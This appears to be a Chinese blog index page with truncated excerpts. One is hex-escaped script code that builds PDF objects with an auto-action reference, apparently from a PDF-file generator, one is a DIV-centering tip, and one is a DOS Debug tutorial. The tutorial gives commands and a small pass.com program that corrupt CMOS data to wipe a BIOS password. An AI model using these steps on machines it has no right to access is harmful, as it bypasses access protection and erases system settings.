"\x3E\x3E\x3E\x2F\x41\x50\x3C\x3C\x2F\x4E\x20\x31\x30\x20\x30\x20\x52\x20\x3E\x3E\x2F\x54\x28\x63\x75\x61\x6C\x71\x75\x69\x65\x72".
"\x61\x29\x2F\x41\x20\x31\x32\x20\x30\x20\x52\x20\x2F\x41\x41\x20\x31\x37\x20\x30\x20\x52\x20\x3E\x3E\x0D\x0A\x65\x6E\x64\x6F\x62".
"\x6A\x0D\x0A\x32\x35\x20\x30\x20\x6F\x62\x6A\x0D\x0A\x3C\x3C\x2F\x54\x79\x70\x65\x2F\x41\x6E\x6E\x6F\x74\x2F\x53\x75\x62\x74\x79".
"\x70\x65\x2F\x50\x6F\x70\x75\x70\x2F\x50\x20\x31\x20\x30\x20\x52\x20\x2F\x4D\x28\x44\x3A\x32\x30\x30\x39\x30\x32\x31\x39\x31\x34".
"\x34\x38\x31\x35\x2D\x30\x32\x27\x30\x30\x27\x29\x2F\x46\x20\x32\x38\x2F\x52\x65\x63\x74\x5B\x20\x30\x20\x30\x20\x30\x20\x30\x5D".
"\x2F\x4F\x70\x65\x6E\x20\x66\x61\x6C\x73\x65\x2F\x50\x61\x72\x65\x6E\x74\x20\x32\x34\x20\x30\x20\x52\x20\x3E\x3E\x0D\x0A\x65\x6E".
"\x64\x6F\x62\x6A\x0D\x0A\x32\x34\x20\x30\x20\x6F\x62\x6A\x0D\x0A\x3C\x3C\x2F\x53\x75\x62\x74\x79\x70\x65\x2F\x46\x72\x65\x65\x54".
"\x65\x78\x74\x2F\x52\x65\x63\x74\x5B\x20\x32\x38\x35\x20\x37\x39\x34\x20\x35\x34\x31\x20\x38\x32\x37\x5D\x2F\x46\x20\x34\x2F\x41".
"\x50\x20\x31\x39\x20\x30\x20\x52\x20\x2F\x46\x6F\x78\x69\x74\x54\x61\x67\x20\x32\x33\x20\x30\x20\x52\x20\x2F\x50\x20\x31\x20\x30".
"\x20\x52\x20\x2F\x50\x6F\x70\x75\x70\x20\x32\x35\x20\x30\x20\x52\x20\x2F\x46\x4E\x28\x48\x65\x6C\x76\x65\x74\x69\x63\x61\x29\x2F".
"\x43\x6F\x6E\x74\x65\x6E\x74\x73\x28\x45\x64\x69\x74\x65\x64\x20\x62\x79\x20\x46\x6F\x78\x69\x74\x20\x52\x65\x61\x64\x65\x72\x5C".
"\x72\x43\x6F\x70\x79\x72\x69\x67\x68\x74\x5C\x28\x43\x5C\x29\x20\x62\x79\x20\x46\x6F\x78\x69\x74\x20\x53\x6F\x66\x74\x77\x61\x72".
"\x65\x20\x43\x6F\x6D\x70\x61\x6E\x79\x2C\x32\x30\x30\x35\x2D\x32\x30\x30\x38\x5C\x72\x46\x6F\x72\x20\x45\x76\x61\x6C\x75\x61\x74".
"\x69\x6F\x6E\x20\x4F\x6E\x6C\x79\x2E\x5C\x72\x29\x2F\x42\x4B\x43\x20\x36\x35\x35\x33\x35\x2F\x51\x20\x30\x2F\x44\x41\x28\x2F\x5A".
"\x69\x54\x69\x20\x31\x31\x20\x54\x66\x20\x31\x20\x30\x20\x30\x20\x72\x67\x20\x31\x20\x30\x20\x30\x20\x31\x20\x32\x38\x35\x20\x38".
"\x31\x30\x2E\x35\x20\x54\x6D\x20\x30\x20\x54\x63\x20\x31\x30\x30\x20\x54\x7A\x29\x2F\x49\x54\x2F\x46\x72\x65\x65\x54\x65\x78\x74".
"\x54\x79\x70\x65\x77\x72\x69\x74\x65\x72\x3E\x3E\x0D\x0A\x65\x6E\x64\x6F\x62\x6A\x0D\x0A\x32\x33\x20\x30\x20\x6F\x62\x6A\x0D\x0A".
"\x3C\x3C\x2F\x54\x65\x78\x74\x4D\x61\x74\x72\x69\x78\x5B\x20\x31\x20\x30\x20\x30\x20\x31\x20\x32\x38\x35\x20\x38\x31\x30\x2E\x35".
"\x5D\x2F\x4C\x69\x63\x65\x6E\x73\x65\x28\x45\x76\x61\x6C\x75\x61\x74\x69\x6F\x6E\x29\x2F\x4D\x65\x6E\x64\x65\x72\x46\x6C\x61\x67".
"\x28\x45\x76\x61\x6C\x75\x61\x74\x69\x6F\x6E\x2C\x41\x4E\x4E\x4F\x54\x29\x2F\x46\x6F\x6E\x74\x4E\x61\x6D\x65\x28\x48\x65\x6C\x76".
"\x65\x74\x69\x63\x61\x29\x2F\x46\x6F\x6E\x74\x53\x69\x7A\x65\x20\x31\x31\x2F\x54\x65\x78\x74\x28\x45\x64\x69\x74\x65\x64\x20\x62".
"\x79\x20\x46\x6F\x78\x69\x74\x20\x52\x65\x61\x64\x65\x72\x5C\x72\x43\x6F\x70\x79\x72\x69\x67\x68\x74\x5C\x28\x43\x5C\x29\x20\x62".
"\x79\x20\x46\x6F\x78\x69\x74\x20\x53\x6F\x66\x74\x77\x61\x72\x65\x20\x43\x6F\x6D\x70\x61\x6E\x79\x2C\x32\x30\x30\x35\x2D\x32\x30".
"\x30\x38\x5C\x72\x46\x6F\x72\x20\x45\x76\x61\x6C\x75\x61\x74\x69\x6F\x6E\x20\x4F\x6E\x6C\x79\x2E\x5C\x72\x29\x2F\x43\x68\x61\x72". Read the rest of this entry

DIV 居中的绝好解决方法

现在进行WEB重构的时候,一般我们做DIV 居中是这样:body{
margin:0px auto;
text-align:center;
}

但是在没申明下面这句解析方法的时候,页面就会出错.不能居中对齐!

<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.1//EN" "http://www.w3.org/TR/xhtml11/DTD/xhtml11.dtd">

为此困扰了我几天.那么有的朋友就会说:你加上这句不就行了吗? 可是有时候页面并不能全部按上面规定的代码格式来编写,比如说要改多彩滚动条.
直到昨天,一个想法在我脑中闪了一下. 何不用JS来控制页面的边距?说干就干!
找了个页面.添加了下面的一小段代码.

<script language="javascript" type="text/javascript" src="function.js"></script>
function.js内容:
if(window.screen.width>800){document.write("<style type=\"text/css\">body{margin-left:"+(window.screen.width-800)/2+"px}</style>");}

保存,测试. 哈哈,换了几个分辨率都可以正常居中!至此试验成功.
总结一下:
主要是这句代码起的作用:
(window.screen.width-800)/2 //计算页面应该留出的边距数值.800为我的DIV宽度 + 滚动条宽度.实际应用改为你自己的大小.
补充一点:上面这段JS 必须放在你的最后一个CSS连接或</style>的后面.

老东西了,晓鹏看到的,转一下,说不定啥时候会用到。。。

豪华绚丽的Windows让人们把DOS抛到遥远的记忆角落。然而,真正有价值的东西不会轻易退出历史的舞台,Debug就是这样的经典作品之一。从古老的DOS到现今的Windows XP,Debug一直紧紧跟随着微软的操作系统,静静躺在系统文件夹里。也许你平时对它不闻不问,但要想成为人人羡慕的系统高手,我们就得唤醒这个沉睡已久的命令行工具了,通过阅读本文对它的研究,相信你会同笔者一样的感觉到:姜,还是老的辣!

一、寻根溯源:世界第一只计算机BUG和Debug

霍德华·艾肯在哈佛大学攻读物理学博士学位时,开始梦想制作一台计算机帮他解决数学难题,工作后,他找到IBM 公司为其投资100万美元研制计算机,第一台成品艾肯把它取名为:马克Ⅰ号,又叫"自动序列受控计算机",从这时起IBM公司由生产制表机、肉铺磅秤、咖啡碾磨机等乱七八糟玩意的行业,正式跨进了计算机"领地"。

1945年9月9日,为马克II号编制计算程序的女数学家格雷斯·霍波在调试程序时出现了故障,拆开继电器后,发现有只飞蛾被夹扁在触点中间,从而"卡"住了机器的运行。于是霍波把这只飞蛾粘在了计算机的工作日志中,并恢谐地把程序故障统称为"臭虫"(bug),自此以后,只要这台计算机一停止运转(那时候是经常的事),同事们就会开玩笑地对霍德华·艾肯说,我们正在"Debug"(除虫)呢!后来"bug"成为计算机领域的专业行话,如DOS系统中的调试程序,程序名称就叫Debug。

目前那只飞蛾还保存在美国史密森尼博物院的美国历史国家博物馆中呢。

1981年,第一个PC DOS(即DOS 1.00)面世时就已经带上了Debug.com。不过,到目前为止,Debug一直没有大的变动--当然,这是指Debug提供给用户的功能,Debug本身代码、内部运行机制必然随着操作系统的变化而不断改变。然而,无论是Windows 98、2000还是XP,Debug的操作方式与纯DOS环境下基本一样。

二、初学乍练:短短几行命令学用Debug

Debug.exe文件位于Windows\system32目录(Windows XP)或Windows\command目录(Windows 9x)下。基本使用方法如下:

Step 1:点击"开始→运行",输入"CMD"(Windows 2000/XP)或"Command"(Windows 9x)打开命令提示符窗口。

Step 2:输入"Debug"并回车,出现提示符"-",现在你已经开启了神秘的Debug世界了。

小提示

执行"?"命令可以参看Debug主要命令及参数。

Step 3:输入"D FE00:0",回车后可以看到结果(见图1),这个就是主板BIOS的厂商信息。接着再输入"D FFFF:5 L 8",回车后,主板的BIOS版本日期也出来了。

Step 4:现在再输入"Q"命令,回车后就退出了Debug程序。

三、继续深入:Debug经典实例秀

在操作以下实例之前,提醒您要注意操作安全,因为Debug命令有一定风险,如果输入错误,有可能对系统造成一定破坏,这点请您一定注意。

实例1:查看你的显卡信息

输入"D C000:0090"命令并回车,这时右侧部分可以看到系统中显卡的显存、生产厂商等信息。

实例2:制作BIOS密码破解器

忘记BIOS密码,一般都采用放电法来清空密码,但这对普通用户有一定难度,并且还得开机箱。其实利用Debug的0命令则简单得多!请在"-"后输入以下命令:

o 70 19
o 71 15
q

重启电脑,系统提示CMOS校验和出错,并要求重新进入BIOS设置CMOS。

小提示:70和71是CMOS的两个端口,我们可以在它们的后面随意写入一些错误数据(如19、16、17等),就会清空CMOS里所有设置,如果不见效不妨多用几个数据试试。

如果觉得每次输入Debug命令太麻烦,可以用下面的方法把命令存成一个COM文件,需要解除密码时只要运行一下就行了。请在Debug中命令提示符"-"后输入以下命令:

A 100
MOV DX,70
MOV AL,10
OUT DX,AL
MOV DX,71
MOV AL,01
OUT DX,AL(这里要两次回车,接着会出现"-"提示符,然后再输入下面的命令)
R CX(回车后会出现"CX 0000",然后再次按回车)
0C
N pass.COM
W
Q

这样就会在Debug当前目录下生成pass.com,是一个清除BIOS口令设置的程序,只要在DOS提示符下键入"pass",然后按回车即可。经我们测试,其实在Windows下面运行也可以成功。知识不太稳定,有时会重新启动计算机。 Read the rest of this entry